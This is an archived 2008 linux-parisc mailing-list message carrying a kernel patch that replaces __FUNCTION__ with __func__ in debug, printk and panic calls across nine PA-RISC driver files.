X-Trace: ger.gmane.org 1209761083 18041 80.91.229.12 (2 May 2008 20:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2008 20:44:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	harvey.harrison@gmail.com, grundler@parisc-linux.org,
	willy@debian.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 22:45:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Js27z-0000EV-Jw
	for glpp-linux-parisc@gmane.org; Fri, 02 May 2008 22:45:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935870AbYEBUo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2008 16:44:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935757AbYEBUo2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 May 2008 16:44:28 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:49547 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S964807AbYEBUo0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2008 16:44:26 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhWaR005283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 May 2008 13:43:33 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m42KhWx2013902;
	Fri, 2 May 2008 13:43:32 -0700
X-Spam-Status: No, hits=-3.268 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/297>

From: Harvey Harrison <harvey.harrison@gmail.com>

__FUNCTION__ is gcc-specific, use __func__

Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <willy@debian.org>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 drivers/parisc/asp.c       |    2 -
 drivers/parisc/ccio-dma.c  |   36 +++++++++++++++---------------
 drivers/parisc/dino.c      |   14 +++++------
 drivers/parisc/gsc.c       |    4 +--
 drivers/parisc/lasi.c      |    2 -
 drivers/parisc/lba_pci.c   |   22 +++++++++---------
 drivers/parisc/led.c       |    2 -
 drivers/parisc/sba_iommu.c |   42 +++++++++++++++++------------------
 drivers/parisc/wax.c       |    2 -
 9 files changed, 63 insertions(+), 63 deletions(-)

diff -puN drivers/parisc/asp.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/asp.c
--- a/drivers/parisc/asp.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/asp.c
@@ -88,7 +88,7 @@ asp_init_chip(struct parisc_device *dev)
 	ret = -EBUSY;
 	dev->irq = gsc_claim_irq(&gsc_irq, ASP_GSC_IRQ);
 	if (dev->irq < 0) {
-		printk(KERN_ERR "%s(): cannot get GSC irq\n", __FUNCTION__);
+		printk(KERN_ERR "%s(): cannot get GSC irq\n", __func__);
 		goto out;
 	}
 
diff -puN drivers/parisc/ccio-dma.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/ccio-dma.c
--- a/drivers/parisc/ccio-dma.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/ccio-dma.c
@@ -359,7 +359,7 @@ ccio_alloc_range(struct ioc *ioc, struct
 	BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
      
 	DBG_RES("%s() size: %d pages_needed %d\n", 
-		__FUNCTION__, size, pages_needed);
+		__func__, size, pages_needed);
 
 	/*
 	** "seek and ye shall find"...praying never hurts either...
@@ -395,16 +395,16 @@ ccio_alloc_range(struct ioc *ioc, struct
 #endif
 	} else {
 		panic("%s: %s() Too many pages to map. pages_needed: %u\n",
-		       __FILE__,  __FUNCTION__, pages_needed);
+		       __FILE__,  __func__, pages_needed);
 	}
 
 	panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
-	      __FUNCTION__);
+	      __func__);
 	
 resource_found:
 	
 	DBG_RES("%s() res_idx %d res_hint: %d\n",
-		__FUNCTION__, res_idx, ioc->res_hint);
+		__func__, res_idx, ioc->res_hint);
 
 #ifdef CCIO_SEARCH_TIME
 	{
@@ -450,7 +450,7 @@ ccio_free_range(struct ioc *ioc, dma_add
 	BUG_ON(pages_mapped > BITS_PER_LONG);
 
 	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
-		__FUNCTION__, res_idx, pages_mapped);
+		__func__, res_idx, pages_mapped);
 
 #ifdef CCIO_MAP_STATS
 	ioc->used_pages -= pages_mapped;
@@ -474,7 +474,7 @@ ccio_free_range(struct ioc *ioc, dma_add
 #endif
 	} else {
 		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
-		      __FUNCTION__);
+		      __func__);
 	}
 }
 
@@ -775,7 +775,7 @@ ccio_map_single(struct device *dev, void
 	pdir_start = &(ioc->pdir_base[idx]);
 
 	DBG_RUN("%s() 0x%p -> 0x%lx size: %0x%x\n",
-		__FUNCTION__, addr, (long)iovp | offset, size);
+		__func__, addr, (long)iovp | offset, size);
 
 	/* If not cacheline aligned, force SAFE_DMA on the whole mess */
 	if((size % L1_CACHE_BYTES) || ((unsigned long)addr % L1_CACHE_BYTES))
@@ -820,7 +820,7 @@ ccio_unmap_single(struct device *dev, dm
 	ioc = GET_IOC(dev);
 
 	DBG_RUN("%s() iovp 0x%lx/%x\n",
-		__FUNCTION__, (long)iova, size);
+		__func__, (long)iova, size);
 
 	iova ^= offset;        /* clear offset bits */
 	size += offset;
@@ -922,7 +922,7 @@ ccio_map_sg(struct device *dev, struct s
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
 	
-	DBG_RUN_SG("%s() START %d entries\n", __FUNCTION__, nents);
+	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
 
 	/* Fast path single entry scatterlists. */
 	if (nents == 1) {
@@ -966,7 +966,7 @@ ccio_map_sg(struct device *dev, struct s
 
 	BUG_ON(coalesced != filled);
 
-	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, filled);
+	DBG_RUN_SG("%s() DONE %d mappings\n", __func__, filled);
 
 	for (i = 0; i < filled; i++)
 		current_len += sg_dma_len(sglist + i);
@@ -995,7 +995,7 @@ ccio_unmap_sg(struct device *dev, struct
 	ioc = GET_IOC(dev);
 
 	DBG_RUN_SG("%s() START %d entries,  %08lx,%x\n",
-		__FUNCTION__, nents, sg_virt_addr(sglist), sglist->length);
+		__func__, nents, sg_virt_addr(sglist), sglist->length);
 
 #ifdef CCIO_MAP_STATS
 	ioc->usg_calls++;
@@ -1011,7 +1011,7 @@ ccio_unmap_sg(struct device *dev, struct
 		++sglist;
 	}
 
-	DBG_RUN_SG("%s() DONE (nents %d)\n", __FUNCTION__, nents);
+	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
 static struct hppa_dma_ops ccio_ops = {
@@ -1225,7 +1225,7 @@ static int
 ccio_get_iotlb_size(struct parisc_device *dev)
 {
 	if (dev->spa_shift == 0) {
-		panic("%s() : Can't determine I/O TLB size.\n", __FUNCTION__);
+		panic("%s() : Can't determine I/O TLB size.\n", __func__);
 	}
 	return (1 << dev->spa_shift);
 }
@@ -1315,7 +1315,7 @@ ccio_ioc_init(struct ioc *ioc)
 	BUG_ON((1 << get_order(ioc->pdir_size)) != (ioc->pdir_size >> PAGE_SHIFT));
 
 	DBG_INIT("%s() hpa 0x%p mem %luMB IOV %dMB (%d bits)\n",
-			__FUNCTION__, ioc->ioc_regs,
+			__func__, ioc->ioc_regs,
 			(unsigned long) num_physpages >> (20 - PAGE_SHIFT),
 			iova_space_size>>20,
 			iov_order + PAGE_SHIFT);
@@ -1323,7 +1323,7 @@ ccio_ioc_init(struct ioc *ioc)
 	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL, 
 						 get_order(ioc->pdir_size));
 	if(NULL == ioc->pdir_base) {
-		panic("%s() could not allocate I/O Page Table\n", __FUNCTION__);
+		panic("%s() could not allocate I/O Page Table\n", __func__);
 	}
 	memset(ioc->pdir_base, 0, ioc->pdir_size);
 
@@ -1332,12 +1332,12 @@ ccio_ioc_init(struct ioc *ioc)
 
 	/* resource map size dictated by pdir_size */
  	ioc->res_size = (ioc->pdir_size / sizeof(u64)) >> 3;
-	DBG_INIT("%s() res_size 0x%x\n", __FUNCTION__, ioc->res_size);
+	DBG_INIT("%s() res_size 0x%x\n", __func__, ioc->res_size);
 	
 	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL, 
 					      get_order(ioc->res_size));
 	if(NULL == ioc->res_map) {
-		panic("%s() could not allocate resource map\n", __FUNCTION__);
+		panic("%s() could not allocate resource map\n", __func__);
 	}
 	memset(ioc->res_map, 0, ioc->res_size);
 
@@ -1409,7 +1409,7 @@ ccio_init_resource(struct resource *res,
 	result = insert_resource(&iomem_resource, res);
 	if (result < 0) {
 		printk(KERN_ERR "%s() failed to claim CCIO bus address space (%08lx,%08lx)\n", 
-	 		__FUNCTION__, res->start, res->end);
+	 		__func__, res->start, res->end);
 	}
 }
 
diff -puN drivers/parisc/dino.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/dino.c
--- a/drivers/parisc/dino.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/dino.c
@@ -180,7 +180,7 @@ static int dino_cfg_read(struct pci_bus 
 	void __iomem *base_addr = d->hba.base_addr;
 	unsigned long flags;
 
-	DBG("%s: %p, %d, %d, %d\n", __FUNCTION__, base_addr, devfn, where,
+	DBG("%s: %p, %d, %d, %d\n", __func__, base_addr, devfn, where,
 									size);
 	spin_lock_irqsave(&d->dinosaur_pen, flags);
 
@@ -215,7 +215,7 @@ static int dino_cfg_write(struct pci_bus
 	void __iomem *base_addr = d->hba.base_addr;
 	unsigned long flags;
 
-	DBG("%s: %p, %d, %d, %d\n", __FUNCTION__, base_addr, devfn, where,
+	DBG("%s: %p, %d, %d, %d\n", __func__, base_addr, devfn, where,
 									size);
 	spin_lock_irqsave(&d->dinosaur_pen, flags);
 
@@ -301,7 +301,7 @@ static void dino_disable_irq(unsigned in
 	struct dino_device *dino_dev = irq_desc[irq].chip_data;
 	int local_irq = gsc_find_local_irq(irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __FUNCTION__, dino_dev, irq);
+	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, irq);
 
 	/* Clear the matching bit in the IMR register */
 	dino_dev->imr &= ~(DINO_MASK_IRQ(local_irq));
@@ -314,7 +314,7 @@ static void dino_enable_irq(unsigned int
 	int local_irq = gsc_find_local_irq(irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 	u32 tmp;
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __FUNCTION__, dino_dev, irq);
+	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, irq);
 
 	/*
 	** clear pending IRQ bits
@@ -340,7 +340,7 @@ static void dino_enable_irq(unsigned int
 	tmp = __raw_readl(dino_dev->hba.base_addr+DINO_ILR);
 	if (tmp & DINO_MASK_IRQ(local_irq)) {
 		DBG(KERN_WARNING "%s(): IRQ asserted! (ILR 0x%x)\n",
-				__FUNCTION__, tmp);
+				__func__, tmp);
 		gsc_writel(dino_dev->txn_data, dino_dev->txn_addr);
 	}
 }
@@ -388,7 +388,7 @@ ilr_again:
 		int local_irq = __ffs(mask);
 		int irq = dino_dev->global_irq[local_irq];
 		DBG(KERN_DEBUG "%s(%d, %p) mask 0x%x\n",
-			__FUNCTION__, irq, intr_dev, mask);
+			__func__, irq, intr_dev, mask);
 		__do_IRQ(irq);
 		mask &= ~(1 << local_irq);
 	} while (mask);
@@ -566,7 +566,7 @@ dino_fixup_bus(struct pci_bus *bus)
 	int port_base = HBA_PORT_BASE(dino_dev->hba.hba_num);
 
 	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
-	    __FUNCTION__, bus, bus->secondary, 
+	    __func__, bus, bus->secondary,
 	    bus->bridge->platform_data);
 
 	/* Firmware doesn't set up card-mode dino, so we have to */
diff -puN drivers/parisc/gsc.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/gsc.c
--- a/drivers/parisc/gsc.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/gsc.c
@@ -112,7 +112,7 @@ static void gsc_asic_disable_irq(unsigne
 	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
+	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, irq,
 			irq_dev->name, imr);
 
 	/* Disable the IRQ line by clearing the bit in the IMR */
@@ -127,7 +127,7 @@ static void gsc_asic_enable_irq(unsigned
 	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __FUNCTION__, irq,
+	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, irq,
 			irq_dev->name, imr);
 
 	/* Enable the IRQ line by setting the bit in the IMR */
diff -puN drivers/parisc/lasi.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/lasi.c
--- a/drivers/parisc/lasi.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/lasi.c
@@ -193,7 +193,7 @@ lasi_init_chip(struct parisc_device *dev
 	dev->irq = gsc_alloc_irq(&gsc_irq);
 	if (dev->irq < 0) {
 		printk(KERN_ERR "%s(): cannot get GSC irq\n",
-				__FUNCTION__);
+				__func__);
 		kfree(lasi);
 		return -EBUSY;
 	}
diff -puN drivers/parisc/lba_pci.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/lba_pci.c
--- a/drivers/parisc/lba_pci.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/lba_pci.c
@@ -377,12 +377,12 @@ static int elroy_cfg_read(struct pci_bus
 		/* original - Generate config cycle on broken elroy
 		  with risk we will miss PCI bus errors. */
 		*data = lba_rd_cfg(d, tok, pos, size);
-		DBG_CFG("%s(%x+%2x) -> 0x%x (a)\n", __FUNCTION__, tok, pos, *data);
+		DBG_CFG("%s(%x+%2x) -> 0x%x (a)\n", __func__, tok, pos, *data);
 		return 0;
 	}
 
 	if (LBA_SKIP_PROBE(d) && !lba_device_present(bus->secondary, devfn, d)) {
-		DBG_CFG("%s(%x+%2x) -> -1 (b)\n", __FUNCTION__, tok, pos);
+		DBG_CFG("%s(%x+%2x) -> -1 (b)\n", __func__, tok, pos);
 		/* either don't want to look or know device isn't present. */
 		*data = ~0U;
 		return(0);
@@ -398,7 +398,7 @@ static int elroy_cfg_read(struct pci_bus
 	case 2: *data = READ_REG16(data_reg + (pos & 2)); break;
 	case 4: *data = READ_REG32(data_reg); break;
 	}
-	DBG_CFG("%s(%x+%2x) -> 0x%x (c)\n", __FUNCTION__, tok, pos, *data);
+	DBG_CFG("%s(%x+%2x) -> 0x%x (c)\n", __func__, tok, pos, *data);
 	return 0;
 }
 
@@ -441,16 +441,16 @@ static int elroy_cfg_write(struct pci_bu
 	if (!LBA_SKIP_PROBE(d)) {
 		/* Original Workaround */
 		lba_wr_cfg(d, tok, pos, (u32) data, size);
-		DBG_CFG("%s(%x+%2x) = 0x%x (a)\n", __FUNCTION__, tok, pos,data);
+		DBG_CFG("%s(%x+%2x) = 0x%x (a)\n", __func__, tok, pos,data);
 		return 0;
 	}
 
 	if (LBA_SKIP_PROBE(d) && (!lba_device_present(bus->secondary, devfn, d))) {
-		DBG_CFG("%s(%x+%2x) = 0x%x (b)\n", __FUNCTION__, tok, pos,data);
+		DBG_CFG("%s(%x+%2x) = 0x%x (b)\n", __func__, tok, pos,data);
 		return 1; /* New Workaround */
 	}
 
-	DBG_CFG("%s(%x+%2x) = 0x%x (c)\n", __FUNCTION__, tok, pos, data);
+	DBG_CFG("%s(%x+%2x) = 0x%x (c)\n", __func__, tok, pos, data);
 
 	/* Basic Algorithm */
 	LBA_CFG_ADDR_SETUP(d, tok | pos);
@@ -521,7 +521,7 @@ static int mercury_cfg_write(struct pci_
 	if ((pos > 255) || (devfn > 255))
 		return -EINVAL;
 
-	DBG_CFG("%s(%x+%2x) <- 0x%x (c)\n", __FUNCTION__, tok, pos, data);
+	DBG_CFG("%s(%x+%2x) <- 0x%x (c)\n", __func__, tok, pos, data);
 
 	LBA_CFG_TR4_ADDR_SETUP(d, tok | pos);
 	switch(size) {
@@ -890,7 +890,7 @@ LBA_PORT_IN(32, 0)
 #define LBA_PORT_OUT(size, mask) \
 static void lba_astro_out##size (struct pci_hba_data *d, u16 addr, u##size val) \
 { \
-	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __FUNCTION__, d, addr, val); \
+	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __func__, d, addr, val); \
 	WRITE_REG##size(val, astro_iop_base + addr); \
 	if (LBA_DEV(d)->hw_rev < 3) \
 		lba_t32 = READ_U32(d->base_addr + LBA_FUNC_ID); \
@@ -932,7 +932,7 @@ static struct pci_port_ops lba_astro_por
 static u##size lba_pat_in##size (struct pci_hba_data *l, u16 addr) \
 { \
 	u##size t; \
-	DBG_PORT("%s(0x%p, 0x%x) ->", __FUNCTION__, l, addr); \
+	DBG_PORT("%s(0x%p, 0x%x) ->", __func__, l, addr); \
 	t = READ_REG##size(PIOP_TO_GMMIO(LBA_DEV(l), addr)); \
 	DBG_PORT(" 0x%x\n", t); \
 	return (t); \
@@ -948,7 +948,7 @@ LBA_PORT_IN(32, 0)
 static void lba_pat_out##size (struct pci_hba_data *l, u16 addr, u##size val) \
 { \
 	void __iomem *where = PIOP_TO_GMMIO(LBA_DEV(l), addr); \
-	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __FUNCTION__, l, addr, val); \
+	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __func__, l, addr, val); \
 	WRITE_REG##size(val, where); \
 	/* flush the I/O down to the elroy at least */ \
 	lba_t32 = READ_U32(l->base_addr + LBA_FUNC_ID); \
@@ -1584,7 +1584,7 @@ void lba_set_iregs(struct parisc_device 
 	WARN_ON((ibase & 0x001fffff) != 0);
 	WARN_ON((imask & 0x001fffff) != 0);
 	
-	DBG("%s() ibase 0x%x imask 0x%x\n", __FUNCTION__, ibase, imask);
+	DBG("%s() ibase 0x%x imask 0x%x\n", __func__, ibase, imask);
 	WRITE_REG32( imask, base_addr + LBA_IMASK);
 	WRITE_REG32( ibase, base_addr + LBA_IBASE);
 	iounmap(base_addr);
diff -puN drivers/parisc/led.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/led.c
--- a/drivers/parisc/led.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/led.c
@@ -569,7 +569,7 @@ int __init register_led_driver(int model
 
 	default:
 		printk(KERN_ERR "%s: Wrong LCD/LED model %d !\n",
-		       __FUNCTION__, lcd_info.model);
+		       __func__, lcd_info.model);
 		return 1;
 	}
 	
diff -puN drivers/parisc/sba_iommu.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/sba_iommu.c
--- a/drivers/parisc/sba_iommu.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/sba_iommu.c
@@ -384,7 +384,7 @@ sba_search_bitmap(struct ioc *ioc, struc
 		}
 		mask = RESMAP_MASK(bits_wanted) >> bitshiftcnt;
 
-		DBG_RES("%s() o %ld %p", __FUNCTION__, o, res_ptr);
+		DBG_RES("%s() o %ld %p", __func__, o, res_ptr);
 		while(res_ptr < res_end)
 		{ 
 			DBG_RES("    %p %lx %lx\n", res_ptr, mask, *res_ptr);
@@ -454,7 +454,7 @@ sba_alloc_range(struct ioc *ioc, struct 
 #endif
 
 	DBG_RES("%s(%x) %d -> %lx hint %x/%x\n",
-		__FUNCTION__, size, pages_needed, pide,
+		__func__, size, pages_needed, pide,
 		(uint) ((unsigned long) ioc->res_hint - (unsigned long) ioc->res_map),
 		ioc->res_bitshift );
 
@@ -497,7 +497,7 @@ sba_free_range(struct ioc *ioc, dma_addr
 	unsigned long m = RESMAP_MASK(bits_not_wanted) >> (pide & (BITS_PER_LONG - 1));
 
 	DBG_RES("%s( ,%x,%x) %x/%lx %x %p %lx\n",
-		__FUNCTION__, (uint) iova, size,
+		__func__, (uint) iova, size,
 		bits_not_wanted, m, pide, res_ptr, *res_ptr);
 
 #ifdef SBA_COLLECT_STATS
@@ -740,7 +740,7 @@ sba_map_single(struct device *dev, void 
 	iovp = (dma_addr_t) pide << IOVP_SHIFT;
 
 	DBG_RUN("%s() 0x%p -> 0x%lx\n",
-		__FUNCTION__, addr, (long) iovp | offset);
+		__func__, addr, (long) iovp | offset);
 
 	pdir_start = &(ioc->pdir_base[pide]);
 
@@ -798,7 +798,7 @@ sba_unmap_single(struct device *dev, dma
 	unsigned long flags; 
 	dma_addr_t offset;
 
-	DBG_RUN("%s() iovp 0x%lx/%x\n", __FUNCTION__, (long) iova, size);
+	DBG_RUN("%s() iovp 0x%lx/%x\n", __func__, (long) iova, size);
 
 	ioc = GET_IOC(dev);
 	offset = iova & ~IOVP_MASK;
@@ -937,7 +937,7 @@ sba_map_sg(struct device *dev, struct sc
 	int coalesced, filled = 0;
 	unsigned long flags;
 
-	DBG_RUN_SG("%s() START %d entries\n", __FUNCTION__, nents);
+	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
 
 	ioc = GET_IOC(dev);
 
@@ -998,7 +998,7 @@ sba_map_sg(struct device *dev, struct sc
 
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 
-	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, filled);
+	DBG_RUN_SG("%s() DONE %d mappings\n", __func__, filled);
 
 	return filled;
 }
@@ -1023,7 +1023,7 @@ sba_unmap_sg(struct device *dev, struct 
 #endif
 
 	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
-		__FUNCTION__, nents, sg_virt_addr(sglist), sglist->length);
+		__func__, nents, sg_virt_addr(sglist), sglist->length);
 
 	ioc = GET_IOC(dev);
 
@@ -1047,7 +1047,7 @@ sba_unmap_sg(struct device *dev, struct 
 		++sglist;
 	}
 
-	DBG_RUN_SG("%s() DONE (nents %d)\n", __FUNCTION__,  nents);
+	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__,  nents);
 
 #ifdef ASSERT_PDIR_SANITY
 	spin_lock_irqsave(&ioc->res_lock, flags);
@@ -1118,7 +1118,7 @@ sba_alloc_pdir(unsigned int pdir_size)
 	pdir_base = __get_free_pages(GFP_KERNEL, pdir_order);
 	if (NULL == (void *) pdir_base)	{
 		panic("%s() could not allocate I/O Page Table\n",
-			__FUNCTION__);
+			__func__);
 	}
 
 	/* If this is not PA8700 (PCX-W2)
@@ -1261,7 +1261,7 @@ sba_ioc_init_pluto(struct parisc_device 
 	ioc->pdir_size = (iova_space_size / IOVP_SIZE) * sizeof(u64);
 
 	DBG_INIT("%s() hpa 0x%p IOV %dMB (%d bits)\n",
-		__FUNCTION__, ioc->ioc_hpa, iova_space_size >> 20,
+		__func__, ioc->ioc_hpa, iova_space_size >> 20,
 		iov_order + PAGE_SHIFT);
 
 	ioc->pdir_base = (void *) __get_free_pages(GFP_KERNEL,
@@ -1272,7 +1272,7 @@ sba_ioc_init_pluto(struct parisc_device 
 	memset(ioc->pdir_base, 0, ioc->pdir_size);
 
 	DBG_INIT("%s() pdir %p size %x\n",
-			__FUNCTION__, ioc->pdir_base, ioc->pdir_size);
+			__func__, ioc->pdir_base, ioc->pdir_size);
 
 #ifdef SBA_HINT_SUPPORT
 	ioc->hint_shift_pdir = iov_order + PAGE_SHIFT;
@@ -1354,7 +1354,7 @@ sba_ioc_init_pluto(struct parisc_device 
 
 	if (agp_found && sba_reserve_agpgart) {
 		printk(KERN_INFO "%s: reserving %dMb of IOVA space for agpgart\n",
-		       __FUNCTION__, (iova_space_size/2) >> 20);
+		       __func__, (iova_space_size/2) >> 20);
 		ioc->pdir_size /= 2;
 		ioc->pdir_base[PDIR_INDEX(iova_space_size/2)] = SBA_AGPGART_COOKIE;
 	}
@@ -1406,7 +1406,7 @@ sba_ioc_init(struct parisc_device *sba, 
 	ioc->pdir_size = pdir_size = (iova_space_size/IOVP_SIZE) * sizeof(u64);
 
 	DBG_INIT("%s() hpa 0x%lx mem %ldMB IOV %dMB (%d bits)\n",
-			__FUNCTION__,
+			__func__,
 			ioc->ioc_hpa,
 			(unsigned long) num_physpages >> (20 - PAGE_SHIFT),
 			iova_space_size>>20,
@@ -1415,7 +1415,7 @@ sba_ioc_init(struct parisc_device *sba, 
 	ioc->pdir_base = sba_alloc_pdir(pdir_size);
 
 	DBG_INIT("%s() pdir %p size %x\n",
-			__FUNCTION__, ioc->pdir_base, pdir_size);
+			__func__, ioc->pdir_base, pdir_size);
 
 #ifdef SBA_HINT_SUPPORT
 	/* FIXME : DMA HINTs not used */
@@ -1443,7 +1443,7 @@ sba_ioc_init(struct parisc_device *sba, 
 #endif
 
 	DBG_INIT("%s() IOV base 0x%lx mask 0x%0lx\n",
-		__FUNCTION__, ioc->ibase, ioc->imask);
+		__func__, ioc->ibase, ioc->imask);
 
 	/*
 	** FIXME: Hint registers are programmed with default hint
@@ -1470,7 +1470,7 @@ sba_ioc_init(struct parisc_device *sba, 
 
 	ioc->ibase = 0; /* used by SBA_IOVA and related macros */	
 
-	DBG_INIT("%s() DONE\n", __FUNCTION__);
+	DBG_INIT("%s() DONE\n", __func__);
 }
 
 
@@ -1544,7 +1544,7 @@ printk("sba_hw_init(): mem_boot 0x%x 0x%
 	if (!IS_PLUTO(sba_dev->dev)) {
 		ioc_ctl = READ_REG(sba_dev->sba_hpa+IOC_CTRL);
 		DBG_INIT("%s() hpa 0x%lx ioc_ctl 0x%Lx ->",
-			__FUNCTION__, sba_dev->sba_hpa, ioc_ctl);
+			__func__, sba_dev->sba_hpa, ioc_ctl);
 		ioc_ctl &= ~(IOC_CTRL_RM | IOC_CTRL_NC | IOC_CTRL_CE);
 		ioc_ctl |= IOC_CTRL_DD | IOC_CTRL_D4 | IOC_CTRL_TC;
 			/* j6700 v1.6 firmware sets 0x294f */
@@ -1675,7 +1675,7 @@ sba_common_init(struct sba_device *sba_d
 
 		res_size >>= 3;  /* convert bit count to byte count */
 		DBG_INIT("%s() res_size 0x%x\n",
-			__FUNCTION__, res_size);
+			__func__, res_size);
 
 		sba_dev->ioc[i].res_size = res_size;
 		sba_dev->ioc[i].res_map = (char *) __get_free_pages(GFP_KERNEL, get_order(res_size));
@@ -1688,7 +1688,7 @@ sba_common_init(struct sba_device *sba_d
 		if (NULL == sba_dev->ioc[i].res_map)
 		{
 			panic("%s:%s() could not allocate resource map\n",
-			      __FILE__, __FUNCTION__ );
+			      __FILE__, __func__ );
 		}
 
 		memset(sba_dev->ioc[i].res_map, 0, res_size);
@@ -1725,7 +1725,7 @@ sba_common_init(struct sba_device *sba_d
 #endif
 
 		DBG_INIT("%s() %d res_map %x %p\n",
-			__FUNCTION__, i, res_size, sba_dev->ioc[i].res_map);
+			__func__, i, res_size, sba_dev->ioc[i].res_map);
 	}
 
 	spin_lock_init(&sba_dev->sba_lock);
diff -puN drivers/parisc/wax.c~drivers-parisc-replace-remaining-__function__-occurrences drivers/parisc/wax.c
--- a/drivers/parisc/wax.c~drivers-parisc-replace-remaining-__function__-occurrences
+++ a/drivers/parisc/wax.c
@@ -93,7 +93,7 @@ wax_init_chip(struct parisc_device *dev)
 	dev->irq = gsc_claim_irq(&gsc_irq, WAX_GSC_IRQ);
 	if (dev->irq < 0) {
 		printk(KERN_ERR "%s(): cannot get GSC irq\n",
-				__FUNCTION__);
+				__func__);
 		kfree(wax);
 		return -EBUSY;
 	}
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 5/5] arch/parisc/kernel/unaligned.c: use time_* macros
Date: Fri, 02 May 2008 13:43:34 -0700
Lines: 38
Approved: news@gmane.org
